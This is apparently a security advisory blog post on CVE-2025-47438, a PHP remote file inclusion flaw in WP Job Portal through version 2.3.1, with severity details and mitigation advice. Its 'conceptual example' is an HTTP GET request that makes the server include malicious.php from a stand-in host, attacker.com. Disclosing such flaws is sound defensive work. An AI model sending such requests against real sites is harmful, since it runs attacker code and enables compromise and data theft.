Overview
This blog post delves into the technical details of the CVE-2025-47438 vulnerability-a critical PHP Remote File Inclusion (RFI) flaw that has been identified in the WP Job Portal. This vulnerability affects all versions of the portal up to and including 2.3.1. RFI vulnerabilities pose serious security threats as they provide an avenue for an attacker to execute arbitrary PHP code on the target system, potentially leading to system compromise or data leakage. This issue is particularly significant, given the widespread use of the WP Job Portal in businesses.
Vulnerability Summary
CVE ID: CVE-2025-47438
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
WP Job Portal | Up to and including 2.3.1
How the Exploit Works
The vulnerability stems from the improper control of filename for include/require statement in the PHP program of wpjobportal. An attacker can manipulate this flaw by inducing a PHP file from a remote server. This file can contain malicious code, which when executed, could lead to the compromise of the system or potential data leakage.
Conceptual Example Code
Here is a conceptual example showing how this vulnerability might be exploited using a HTTP request. Please note this is a generic example and the real-world application may vary.
GET /index.php?page=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerable-website.comIn this HTTP request, the attacker attempts to include ‘malicious.php’ from their server. If the server processes this request, it could lead to the execution of arbitrary PHP code hosted on the attacker’s server.
Mitigation Guidance
The primary method of resolving this vulnerability is by applying patches provided by the vendor. If patches are not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can potentially detect and block attempts to exploit this vulnerability. Furthermore, input validation techniques should be employed to prevent the inclusion of files from untrusted sources.